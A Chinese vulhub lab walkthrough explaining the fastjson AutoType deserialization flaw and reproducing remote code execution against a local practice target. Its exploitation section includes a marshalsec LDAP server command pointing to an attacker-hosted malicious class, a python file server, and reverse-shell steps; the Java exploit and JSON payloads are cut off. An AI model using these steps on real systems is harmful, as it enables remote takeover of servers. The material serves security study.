【vulhub漏洞靶场】fastjson反序列化漏洞及fastjson反序列化漏洞复现
[TOC]
漏洞原理
啥是json?
json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。举个简单的例子如下:
{
"name":"BossFrank",
"age":23,
"media":["CSDN","bilibili","Github"]
}
json本质就是一种字符串,用于信息的存储和交换。
啥是fastjson?
fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。
fastjson序列化/反序列化原理
fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。
那么为啥要引进Auto Type功能呢?
fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
1.基于setter/getter
2.基于属性(AutoType)
基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:
1 | class Apple implements Fruit { |
实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:
{“Fruit”:{“price”:0.5}}
假设iphone对象的price为5000,序列化为json格式后为:
{“Fruit”:{“price”:5000}}
当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。
为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:
{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } }
引入AutoType后,iphone类对象序列化为json格式后为:
{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }
这样在反序列化的时候就可以区分原始的类了
fastjson反序列化漏洞原理
使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。
常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:
攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机服务器执行了恶意代码,被攻击者成功利用。
大致理解如下图:
靶场复现
1.2.24-rce
kali靶机:192.168.192.132
kali攻击机(java8环境)&服务器:192.168.192.133
靶机启动环境
访问靶机ip:8090,能访问成功即搭建环境成功。
寻找方式
寻找存在 Fastjson 漏洞的方法,就是先找到参数中内容是 json 数据的接口,然后使用构造好的测试 payload 进行提交验证,检测原理跟 sql 注入差不多,首先找到参数提交的地方,然后再用 payload 尝试。
我们先进行抓包
我们先将GET改成POST,然后看响应包
有”fastjson“的信息,说明存在漏洞。
此时我们将GET改成POST,添加Conten-Type字段为application/json,添加Content-Lenth字段,长度可以大一点。再添加请求参数,如下图所示:
看响应包,已经改变了
于是提交java对象试试,代码如下所示:
1 | #1.2.24: |
出现500报错
漏洞利用
”文件服务器"配置
首先在攻击机上准备一个简单的EXP,写Shell配置好反弹地址和端口(改成自己的攻击机的ip和监听端口)
EXP:
1 | import java.lang.Runtime; |
使用javac进行编译,编译完成后,有个class文件:
1 | javac C:\Users\Anonymous\Desktop\exp.java |
方法一:
通过phpstudy开启网站服务,(**如果是打实战的话,需要用到公网服务器做服务端getshell。)**然后将编译后的exp.class文件移动到www目录下。
方法二:
在.class文件所在目录直接开启终端,然后用python开一个http
1 | python -m http.server 7766 //端口随意,路径是文件的位置 |
”RMI/LDAP服务器“设置(我用的LDAP服务)
接下来需要用到marshalsec,安装方法:
git clone https://github.com/mbechler/marshalsec #虚拟机下载慢可以直接去项目打包然后拖进去
cd marshalsec
mvn clean package -DskipTests #编译
编译成功后/marshalsec/target会出现marshalsec-0.0.3-SNAPSHOT-all.jar的文件,编译时间可能有点久(注意要是java8环境)
接下来在攻击kali利用marshalsec开启LDAP服务
解释一下这里,上面的环境已经开启了临时的网站环境,环境下面有exp.class,这里开启的7788端口是给LDAP的,然后把这个端口和7766绑定一起,将LDAP服务绑定到7788端口的目的是为了在7788端口上监听LDAP请求并响应,而这个路径下面有java类文件exp.class,通告构造恶意的josn请求去执行java类文件,达到反弹shell的目的
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.192.133:7766/#exp 7788 |
同时创建监听6666端口信息,也就是上面编译后的exp.class文件中指向攻击机的端口
抓包Getshell
然后访问vulhub上的fastjson进行抓包,请求包构造恶意josn请求为访问攻击机下的rmi服务,这里的Content-type的类型与上面相同改为 application/josn 发送POST请求。
请求格式如下:
1 | { |
可以看到返回包很慢或者没有,但是看监听端口发现已经连上了。
至此getshell成功。
1.2.47-rce
利用步骤跟1.2.24-rce一样,只是最后抓包改包GetShell时换成如下:
1 | { |